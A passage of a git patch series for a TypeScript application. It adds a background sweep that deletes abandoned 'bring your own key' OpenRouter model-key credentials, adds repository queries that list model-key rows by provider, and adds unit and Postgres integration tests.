deleted.reason === 'not_found'); + // Never activated (credentialVersion 0), the kept row runs no call and Settings does not show it. + if (!gone && !stored) return result; await deps.accounts.remove(row.id); return result; } @@ -614,13 +620,13 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth // Only a definite refusal stored nothing. An uncertain one may have: the key is abandoned, so whatever reached // the vault is deleted now or by the orphan sweep (its row is gone). const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; - if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }); + if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }, { stored: false }); await deps.accounts.remove(row.id); return { ok: false, reason: 'store_refused' }; } // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so // the key is never activated, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }); + if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }, { stored: true }); await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -633,11 +639,11 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); if (status === 401 || status === 403) { // A key OpenRouter refused never becomes the person's key: it is abandoned (deleted now, or by the orphan sweep). - return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }); + return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }, { stored: true }); } // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new // key does not stay active. It is revoked, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }); + if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }, { stored: true }); // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; From 88fbf611558587cc9ceb50f3c4411e6641ab80d8 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 02:27:15 -0600 Subject: [PATCH 26/35] fix(byok): sweep abandoned model keys without user action; read every model-key row; route-level mark tests An unconfirmed model-key write whose cleanup delete failed kept its never-activated row as the only reference to material the plane may hold with no metadata; only the person's next save or removal cleaned it up. The plane worker now also runs sweepAbandonedModelKeys after the orphan sweep: model-key rows still `active` at credentialVersion 0 and older than the orphan grace period have their material deleted (the plane's delete searches the vault with or without metadata), and the row is removed only after the delete succeeds. Model-key lookups (activeModelKeys, modelKeyRows, the web's key check) read through listForUserWithProvider, every row of the provider, instead of the 100-row account listing, so a key older than 100 other accounts is still used, shown and removed. The page turn's re-authorization of a conversation another request created first no longer depends on whether the caller named the id (CodeQL js/user-controlled-bypass). Tests: - the sweep (recovery with no user action, retry across runs, not_found, unknown tenant, failed removal, failed listing); - a key older than 100 other accounts; - the two new queries against Postgres; - a failed mark stops the global turn before it saves or builds a provider; - against Postgres: a side question between a managed save and its usage row stays managed, and BYOK switched on mid-turn leaves that conversation managed. Each fails without its fix. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../messages/__tests__/credit-gate.test.ts | 12 ++ .../lib/ai/chat-pipeline/page-chat-turn.ts | 8 +- .../model-key-source.integration.test.ts | 91 +++++++++++++++ .../core/__tests__/model-key-source.test.ts | 4 +- apps/web/src/lib/ai/core/model-key-source.ts | 4 +- ...model-keys-through-the-credential-plane.md | 1 + .../abandoned-model-key-sweep.test.ts | 106 ++++++++++++++++++ ...ent-account-repository.integration.test.ts | 37 ++++++ .../__tests__/model-key-authority.test.ts | 25 ++++- .../account-authority-executor.ts | 4 +- .../agent-account-repository.ts | 22 +++- .../executor/plane-orphan-sweep-worker.ts | 44 +++++++- .../agent-accounts/executor/plane-worker.ts | 6 +- 13 files changed, 348 insertions(+), 16 deletions(-) create mode 100644 apps/web/src/lib/ai/core/__tests__/model-key-source.integration.test.ts create mode 100644 packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index dfcecaa6f8..d596f87b36 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -742,6 +742,18 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', expect([foreign.status, refused.status, vi.mocked(markManagedConversation).mock.calls.length]).toEqual([404, 402, 0]); }); + it('a managed turn whose mark cannot be written stops before it saves anything or runs a model', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + const { messageRepository } = await import('@/lib/repositories/message-repository'); + vi.mocked(markManagedConversation).mockRejectedValueOnce(new Error('db down')); + const response = await POST(makeRequest(), makeContext()); + expect({ + failed: response.status >= 500, + saved: vi.mocked(messageRepository.saveGlobalMessage).mock.calls.length, + provider: vi.mocked(createAIProvider).mock.calls.length, + }).toEqual({ failed: true, saved: 0, provider: 0 }); + }); + it('a managed turn is gated and billed as managed', async () => { await POST(makeRequest(), makeContext()); await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() }); diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index c8f46d469d..e0301cdda7 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -898,10 +898,10 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise ({ isAgentAccountsConfigured: () => true })); + +import { markManagedConversation, resolveModelKeySource } from '../model-key-source'; + +const RUN = `mks${Date.now()}`; +const accounts = createAgentAccountRepository({ db }); +const conversationIds: string[] = []; + +async function person(name: string): Promise { + const id = `${RUN}_${name}`; + await db.insert(users).values({ id, name, email: `${id}@example.test` }); + return id; +} + +async function turnBYOKOn(userId: string): Promise { + await db.insert(featureFlagUserOverrides).values({ flagKey: 'byok_model_key', userId, enabled: true }).onConflictDoUpdate({ target: [featureFlagUserOverrides.flagKey, featureFlagUserOverrides.userId], set: { enabled: true } }); + const row = await accounts.insert({ + draft: { kind: 'api_key', name: 'OpenRouter', allowedOrigins: ['https://openrouter.ai:443' as CanonicalOrigin], acknowledgment: 'dedicated_agent_account', providerSlug: MODEL_KEY_PROVIDER_SLUG }, + owner: { kind: 'user', userId }, + tenantId: `user:${userId}` as TenantId, + approvalPolicy: null, + }); + await accounts.setCredentialVersion({ id: row.id, version: 1 }); +} + +function conversation(): string { + const id = createId(); + conversationIds.push(id); + return id; +} + +const decide = (userId: string, conversationId: string) => resolveModelKeySource({ userId, provider: 'openrouter', driveId: null, conversationId }); + +beforeAll(async () => { + await db.select({ id: users.id }).from(users).limit(1); +}); + +afterAll(async () => { + if (conversationIds.length > 0) await db.delete(modelKeyManagedConversations).where(inArray(modelKeyManagedConversations.conversationId, conversationIds)); + await db.delete(users).where(inArray(users.id, [`${RUN}_side`, `${RUN}_mid`])); +}); + +describe('resolveModelKeySource against the real database (ADR 0009 I10)', () => { + it('given a side question after a managed turn saved its message but before its usage row exists, should stay on PageSpace\'s key', async () => { + const userId = await person('side'); + await turnBYOKOn(userId); + const managedTurn = conversation(); + // What a managed turn does before it saves its message; its usage row is written only when the model answers. + await markManagedConversation(managedTurn); + const untouched = conversation(); + expect({ sideQuestion: (await decide(userId, managedTurn)).source, otherConversation: (await decide(userId, untouched)).source }).toEqual({ + sideQuestion: 'managed', + otherConversation: 'user_key', + }); + }); + + it('given BYOK switched on for the person while a managed turn is under way, should keep that conversation on PageSpace\'s key', async () => { + const userId = await person('mid'); + const turn = conversation(); + const atStart = await decide(userId, turn); + await markManagedConversation(turn); + // An admin turns the preview on for them and they save a key, mid-turn. + await turnBYOKOn(userId); + const fresh = conversation(); + const marked = await db.select().from(modelKeyManagedConversations).where(eq(modelKeyManagedConversations.conversationId, turn)); + expect({ atStart: atStart.source, marked: marked.length, sameConversation: (await decide(userId, turn)).source, newConversation: (await decide(userId, fresh)).source }).toEqual({ + atStart: 'managed', + marked: 1, + sameConversation: 'managed', + newConversation: 'user_key', + }); + }); +}); diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts index 2522a7945c..8689d75022 100644 --- a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts @@ -19,8 +19,8 @@ vi.mock('@pagespace/lib/logging/logger-config', () => ({ loggers: { ai: { warn: vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockIsOnPrem })); vi.mock('@pagespace/lib/permissions/drive-relationship', () => ({ isDriveLead: (userId: string, drive: { ownerId: string | null }) => drive.ownerId === userId })); vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockIsFeatureEnabled })); -vi.mock('@pagespace/lib/agent-accounts/agent-account-repository', () => ({ createAgentAccountRepository: () => ({ listForUser: mockListForUser }) })); -vi.mock('@pagespace/lib/agent-accounts/inference/model-key', () => ({ isModelKeyAccount: (row: { slug: string }) => row.slug === 'openrouter-model-key' })); +vi.mock('@pagespace/lib/agent-accounts/agent-account-repository', () => ({ createAgentAccountRepository: () => ({ listForUserWithProvider: mockListForUser }) })); +vi.mock('@pagespace/lib/agent-accounts/inference/model-key', () => ({ MODEL_KEY_PROVIDER_SLUG: 'openrouter-model-key', isModelKeyAccount: (row: { slug: string }) => row.slug === 'openrouter-model-key' })); vi.mock('@/lib/agent-accounts/agent-accounts-config', () => ({ isAgentAccountsConfigured: mockPlaneConfigured })); import { decideModelKeySource, isBilledKeySource, markManagedConversation, resolveModelKeySource } from '../model-key-source'; diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index 41d54305b4..192dfbc01a 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -35,7 +35,7 @@ import { isOnPrem } from '@pagespace/lib/deployment-mode'; import { isDriveLead } from '@pagespace/lib/permissions/drive-relationship'; import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; import { createAgentAccountRepository } from '@pagespace/lib/agent-accounts/agent-account-repository'; -import { isModelKeyAccount } from '@pagespace/lib/agent-accounts/inference/model-key'; +import { isModelKeyAccount, MODEL_KEY_PROVIDER_SLUG } from '@pagespace/lib/agent-accounts/inference/model-key'; import { isAgentAccountsConfigured } from '@/lib/agent-accounts/agent-accounts-config'; import { getBackendProvider } from './provider-backend'; @@ -97,7 +97,7 @@ async function readFlag(userId: string): Promise { } async function hasActiveModelKey(userId: string): Promise { - const rows = await createAgentAccountRepository({ db }).listForUser(userId); + const rows = await createAgentAccountRepository({ db }).listForUserWithProvider({ userId, providerSlug: MODEL_KEY_PROVIDER_SLUG }); return rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0); } diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index dc445b2182..710dc209d1 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -21,6 +21,7 @@ The options: 1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, response or later web request carries it. The one exception is ingress: during the submission request, the web process holds the key just long enough to validate its shape and hand it to `put` (`setModelKey`). It is never persisted there and never present at inference time. 2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. Saves and removals of one person's key run one at a time across replicas, under the per-account advisory lock. A save whose lock is lost while the key is being stored never activates it. A key OpenRouter rejects never becomes active, even if the plane cannot revoke it at that moment. + A key a save gives up on has its material deleted. If the plane cannot delete it then, a write the plane committed loses its row, so the plane's orphan sweep erases its ref. A write the plane never confirmed may have left material with no plane metadata, which that sweep cannot see. That write keeps its never-activated row (`credentialVersion` 0), which no call uses and Settings does not show. The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`) deletes its material once the row is older than the orphan grace period, and removes the row only after the delete succeeds. A later save or removal by the person retires it sooner. Every model-key lookup reads all of the person's model-key rows, not the capped account listing. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`). diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts new file mode 100644 index 0000000000..49825cf73c --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -0,0 +1,106 @@ +/** + * ADR 0009: `sweepAbandonedModelKeys` erases the material of a model key whose save gave up without the plane + * confirming its write, with no further action from the person. The plane may hold that material with no metadata + * row, so `sweepOrphanedRefs` cannot see it; the never-activated account row is what finds it. + */ +import { describe, expect, it } from 'vitest'; +import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; +import type { DeleteInput, DeleteResult } from '../store/store-adapter'; +import { sweepAbandonedModelKeys } from '../executor/plane-orphan-sweep-worker'; +import { ORPHAN_GRACE_MS } from '../executor/decide-orphaned-refs'; +import { MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; + +const NOW = 50_000_000; + +const row = (id: string, tenantId = 'tenant_1') => ({ id, tenantId, kind: 'api_key' }) as unknown as AgentAccountRecord; + +function world({ rows, deleteAnswers = {}, tenants = ['tenant_1'] }: { rows: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[] }) { + const table = new Map(rows.map((r) => [r.id, r])); + const listed: unknown[] = []; + const deleted: DeleteInput[] = []; + const accounts = { + listUnactivated: async (input: { providerSlug: string; createdBefore: number; limit: number }) => { + listed.push(input); + return [...table.values()]; + }, + remove: async (id: string) => void table.delete(id), + }; + const provisioner = { + identityOf: async (tenantId: string) => (tenants.includes(tenantId) ? ({ identityId: `identity_${tenantId}` } as never) : null), + }; + const store = { + delete: async (input: DeleteInput): Promise => { + deleted.push(input); + const answer = deleteAnswers[input.ref.accountId] ?? ({ ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult); + if (answer === 'throws') throw new Error('plane down'); + return answer; + }, + }; + const sweep = () => sweepAbandonedModelKeys({ accounts, provisioner, store, now: () => NOW }); + return { table, listed, deleted, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; +} + +describe('sweepAbandonedModelKeys', () => { + it('given a model key a save abandoned past the grace period, should delete its material and then its row, without the person doing anything', async () => { + const w = world({ rows: [row('acct_1')] }); + const result = await w.sweep(); + expect({ + result, + listed: w.listed, + deleted: w.deleted.map((d) => ({ ref: d.ref, channel: d.identity.channel, identityId: d.identity.identityId })), + rows: [...w.table.keys()], + }).toEqual({ + result: { scanned: 1, erased: 1, failed: 0 }, + listed: [{ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: NOW - ORPHAN_GRACE_MS, limit: 200 }], + deleted: [{ ref: { tenantId: 'tenant_1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_tenant_1' }], + rows: [], + }); + }); + + it('given a delete the plane cannot do this run, should keep the row and erase it on a later run', async () => { + const w = world({ rows: [row('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'store_unavailable' } as DeleteResult } }); + const first = await w.sweep(); + const keptAfterFirst = [...w.table.keys()]; + w.answer('acct_1', 'throws'); + const second = await w.sweep(); + w.answer('acct_1', { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult); + const third = await w.sweep(); + expect({ first, keptAfterFirst, second, third, rows: [...w.table.keys()] }).toEqual({ + first: { scanned: 1, erased: 0, failed: 1 }, + keptAfterFirst: ['acct_1'], + second: { scanned: 1, erased: 0, failed: 1 }, + third: { scanned: 1, erased: 1, failed: 0 }, + rows: [], + }); + }); + + it('given material the vault no longer holds, should remove the row', async () => { + const w = world({ rows: [row('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'not_found' } as DeleteResult } }); + expect([await w.sweep(), [...w.table.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, []]); + }); + + it('given a tenant the plane cannot resolve, should touch nothing and keep the row for the next run', async () => { + const w = world({ rows: [row('acct_1', 'tenant_gone')] }); + expect([await w.sweep(), w.deleted.length, [...w.table.keys()]]).toEqual([{ scanned: 1, erased: 0, failed: 1 }, 0, ['acct_1']]); + }); + + it('given the row removal failing after the material was deleted, should count it failed so the next run finishes it', async () => { + const result = await sweepAbandonedModelKeys({ + accounts: { listUnactivated: async () => [row('acct_1')], remove: async () => Promise.reject(new Error('db down')) }, + provisioner: { identityOf: async () => ({ identityId: 'identity_tenant_1' }) as never }, + store: { delete: async () => ({ ok: true, removed: true, upstream: 'not_attempted' }) as DeleteResult }, + now: () => NOW, + }); + expect(result).toEqual({ scanned: 1, erased: 0, failed: 1 }); + }); + + it('given the listing failing, should report it and not throw', async () => { + const result = await sweepAbandonedModelKeys({ + accounts: { listUnactivated: async () => Promise.reject(new Error('db down')), remove: async () => undefined }, + provisioner: { identityOf: async () => null }, + store: { delete: async () => ({ ok: true, removed: true, upstream: 'not_attempted' }) as DeleteResult }, + now: () => NOW, + }); + expect(result).toEqual({ scanned: 0, erased: 0, failed: 1 }); + }); +}); diff --git a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts index d69dc6ac98..6ef2336b83 100644 --- a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts @@ -112,6 +112,43 @@ describe('createAgentAccountRepository — against the real database', () => { expect(actual).toEqual(expected); }); + it('given a model key older than 100 of the person\'s other accounts, should list it by provider though the capped listing misses it (ADR 0009)', async () => { + const owner = `${RUN}_many`; + await db.insert(users).values({ id: owner, name: 'many', email: `${owner}@example.test` }); + const tenantId = `user:${owner}` as TenantId; + const modelKey = await repo.insert({ draft: { ...draft, providerSlug: 'openrouter-model-key' }, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); + await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - 60_000) }).where(eq(agentAccounts.id, modelKey.id)); + for (let i = 0; i < 100; i += 1) await repo.insert({ draft, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); + const capped = (await repo.listForUser(owner)).map((row) => row.id); + const byProvider = (await repo.listForUserWithProvider({ userId: owner, providerSlug: 'openrouter-model-key' })).map((row) => row.id); + await db.delete(users).where(eq(users.id, owner)); + expect({ cappedHasIt: capped.includes(modelKey.id), byProvider }).toEqual({ cappedHasIt: false, byProvider: [modelKey.id] }); + }); + + it('given model-key rows never activated, should list only the active ones older than the cutoff, oldest first', async () => { + const owner = `${RUN}_abandoned`; + await db.insert(users).values({ id: owner, name: 'abandoned', email: `${owner}@example.test` }); + const tenantId = `user:${owner}` as TenantId; + const insertKey = async (ageMs: number) => { + const row = await repo.insert({ draft: { ...draft, providerSlug: 'openrouter-model-key' }, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); + await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - ageMs) }).where(eq(agentAccounts.id, row.id)); + return row.id; + }; + const older = await insertKey(3 * 3_600_000); + const old = await insertKey(2 * 3_600_000); + const fresh = await insertKey(60_000); + const activated = await insertKey(3 * 3_600_000); + await repo.setCredentialVersion({ id: activated, version: 1 }); + const revoked = await insertKey(3 * 3_600_000); + await repo.markRevoked({ id: revoked, at: Date.now() }); + const otherProvider = await repo.insert({ draft, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); + await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - 3 * 3_600_000) }).where(eq(agentAccounts.id, otherProvider.id)); + const mine = new Set([older, old, fresh, activated, revoked, otherProvider.id]); + const listed = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: Date.now() - 3_600_000, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); + await db.delete(users).where(eq(users.id, owner)); + expect(listed).toEqual([older, old]); + }); + it('given the owning user deleted, should cascade the accounts away', async () => { const other = `${RUN}_gone`; await db.insert(users).values({ id: other, name: 'gone', email: `${other}@example.test` }); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 2fc66c49fa..ecb77e4adf 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -69,9 +69,12 @@ function harness() { const active = () => [...rows.values()].filter((row) => row.status === 'active' && row.credentialVersion > 0).map((row) => row.id); const accounts = { - listForUser: async (userId: string) => { + // Like the real listing, capped at the 100 newest rows: a model-key lookup must never go through it. + listForUser: async (userId: string) => + [...rows.values()].filter((row) => row.ownerUserId === userId).sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime()).slice(0, 100), + listForUserWithProvider: async ({ userId, providerSlug }: { userId: string; providerSlug: string }) => { if (loseLockOnList) heldLock?.abort(new Error('lock connection died')); - return [...rows.values()].filter((row) => row.ownerUserId === userId); + return [...rows.values()].filter((row) => row.ownerUserId === userId && row.providerSlug === providerSlug); }, insert: async ({ draft, tenantId, approvalPolicy }) => { nextId += 1; @@ -208,6 +211,13 @@ function harness() { setDeleteDown: (down: boolean) => { deleteDown = down; }, + /** `count` newer accounts of another kind (an agent's website logins, say), so the model key is not among the newest. */ + addOtherAccounts: (count: number) => { + for (let i = 0; i < count; i += 1) { + clock += 1; + rows.set(`other_${i}`, { id: `other_${i}`, kind: 'api_key', ownerKind: 'user', ownerUserId: HUMAN, providerSlug: null, credentialVersion: 1, status: 'active', createdAt: new Date(clock) } as unknown as AgentAccountRecord); + } + }, failPuts: (how: 'definite' | 'uncertain' | null) => { putFailure = how; }, @@ -337,6 +347,17 @@ describe('setModelKey / removeModelKey', () => { }); }); + it('given a model key older than 100 of the person\'s other accounts, should still find it to use and to remove', async () => { + const h = harness(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + h.addOtherAccounts(100); + const shown = await h.authority.getModelKey({ actor }); + const removed = await h.authority.removeModelKey({ actor }); + expect({ saved: saved.ok, shown: shown?.id, removed, revoked: h.revoked, status: h.rows.get('acct_1')?.status }).toEqual({ + saved: true, shown: 'acct_1', removed: { ok: true, account: null }, revoked: ['acct_1'], status: 'revoked', + }); + }); + it('given an uncertain write the plane cannot delete right now, should erase it when the person saves again', async () => { const h = harness(); h.failPuts('uncertain'); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 02be0cebad..0c8cf65742 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -493,7 +493,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth /** The person's active, provisioned model keys (normally one; more only between a set and the old key's revoke). */ async function activeModelKeys(userId: string): Promise { - const rows = await deps.accounts.listForUser(userId); + const rows = await deps.accounts.listForUserWithProvider({ userId, providerSlug: MODEL_KEY_PROVIDER_SLUG }); return rows .filter((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0) .sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime()); @@ -504,7 +504,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth * credentialVersion 0 cannot belong to a save in progress: it is one a crashed save stranded, and is retired too. */ async function modelKeyRows(userId: string): Promise { - const rows = await deps.accounts.listForUser(userId); + const rows = await deps.accounts.listForUserWithProvider({ userId, providerSlug: MODEL_KEY_PROVIDER_SLUG }); return rows.filter((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active'); } diff --git a/packages/lib/src/agent-accounts/agent-account-repository.ts b/packages/lib/src/agent-accounts/agent-account-repository.ts index d57f806d74..79814bd16e 100644 --- a/packages/lib/src/agent-accounts/agent-account-repository.ts +++ b/packages/lib/src/agent-accounts/agent-account-repository.ts @@ -15,7 +15,7 @@ * (`__tests__/agent-account-repository.integration.test.ts`). */ import type { db as defaultDb } from '@pagespace/db/db'; -import { and, desc, eq, gt, gte, inArray, isNull, sql } from '@pagespace/db/operators'; +import { and, asc, desc, eq, gt, gte, inArray, isNull, lt, sql } from '@pagespace/db/operators'; import { agentAccountApprovals, agentAccountBindings, agentAccountDelegations, agentAccounts, type AccountKind, type AccountId, type AccountOwnerRef, type AgentAccountRecord, type TenantId } from '@pagespace/db/schema/agent-accounts'; import type { AgentPageId, ApprovalId, DelegationFact, DelegationId, GrantId, RequestDigest, UserId } from './grant'; import type { AccountApprovalPolicy, ApprovalScope } from './approval'; @@ -74,6 +74,13 @@ export type AgentAccountRepository = { /** Which of these ids still have a reference row (the plane's orphan sweep, review MED-1). */ readonly existingIds: (ids: readonly string[]) => Promise; readonly listForUser: (userId: string) => Promise; + /** Every row of one provider this person owns, newest first: a lookup the listing's cap must never hide a row from. */ + readonly listForUserWithProvider: (input: { readonly userId: string; readonly providerSlug: string }) => Promise; + /** + * Rows of one provider a save never activated (`active`, credentialVersion 0) and created before `createdBefore`, + * oldest first: what an abandoned save left behind, for the plane's sweep. + */ + readonly listUnactivated: (input: { readonly providerSlug: string; readonly createdBefore: number; readonly limit: number }) => Promise; readonly listForAgentPage: (agentPageId: string) => Promise; /** * The refresh worker's rotation, mirrored: `from` → `to` only while the row still reads `from` @@ -216,6 +223,19 @@ export function createAgentAccountRepository({ db }: { readonly db: AgentAccount return db.select().from(agentAccounts).where(eq(agentAccounts.ownerUserId, userId)).orderBy(desc(agentAccounts.createdAt)).limit(MAX_LISTED_ACCOUNTS); }, + async listForUserWithProvider({ userId, providerSlug }) { + return db.select().from(agentAccounts).where(and(eq(agentAccounts.ownerUserId, userId), eq(agentAccounts.providerSlug, providerSlug))).orderBy(desc(agentAccounts.createdAt)); + }, + + async listUnactivated({ providerSlug, createdBefore, limit }) { + return db + .select() + .from(agentAccounts) + .where(and(eq(agentAccounts.providerSlug, providerSlug), eq(agentAccounts.status, 'active'), eq(agentAccounts.credentialVersion, 0), lt(agentAccounts.createdAt, new Date(createdBefore)))) + .orderBy(asc(agentAccounts.createdAt)) + .limit(limit); + }, + async listForAgentPage(agentPageId) { return db.select().from(agentAccounts).where(eq(agentAccounts.ownerAgentPageId, agentPageId)).orderBy(desc(agentAccounts.createdAt)).limit(MAX_LISTED_ACCOUNTS); }, diff --git a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index 0101d20d8e..c042b884b0 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -12,10 +12,12 @@ * counted as failed and retried on the next run; nothing here throws. */ import type { StoreAdapter } from '../store/store-adapter'; +import type { AccountId, TenantId } from '@pagespace/db/schema/agent-accounts'; import type { PlaneMetadataRepository } from '../store/plane-metadata-repository'; import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client'; import type { AgentAccountRepository } from '../agent-account-repository'; -import { decideOrphanedRefs } from './decide-orphaned-refs'; +import { decideOrphanedRefs, ORPHAN_GRACE_MS } from './decide-orphaned-refs'; +import { MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; const PAGE_SIZE = 200; @@ -59,3 +61,43 @@ export async function sweepOrphanedRefs({ } return { scanned, erased, failed }; } + +/** + * `sweepAbandonedModelKeys` — a model key a save gave up on (ADR 0009) without the plane confirming its write keeps + * its never-activated row (credentialVersion 0) as the only reference to whatever reached the vault: the plane may + * hold that material with no metadata row, which `sweepOrphanedRefs` cannot see. Past `ORPHAN_GRACE_MS` (no save + * runs that long) such a row is abandoned: its material is deleted, which searches the vault with or without + * metadata, and the row goes only once the delete succeeded. A row the sweep cannot finish stays for the next run; + * nothing here throws. + */ +export async function sweepAbandonedModelKeys({ + accounts, + provisioner, + store, + now, +}: { + readonly accounts: Pick; + readonly provisioner: Pick; + readonly store: Pick; + readonly now: () => number; +}): Promise<{ readonly scanned: number; readonly erased: number; readonly failed: number }> { + let rows: Awaited>; + try { + rows = await accounts.listUnactivated({ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: now() - ORPHAN_GRACE_MS, limit: PAGE_SIZE }); + } catch { + return { scanned: 0, erased: 0, failed: 1 }; + } + let erased = 0; + let failed = 0; + for (const row of rows) { + // The row's ids are the plane's: a model key's ref is exactly its row. + const ref = { tenantId: row.tenantId as TenantId, accountId: row.id as AccountId, kind: row.kind }; + const tenant = await provisioner.identityOf(ref.tenantId).catch(() => null); + const deleted = tenant === null 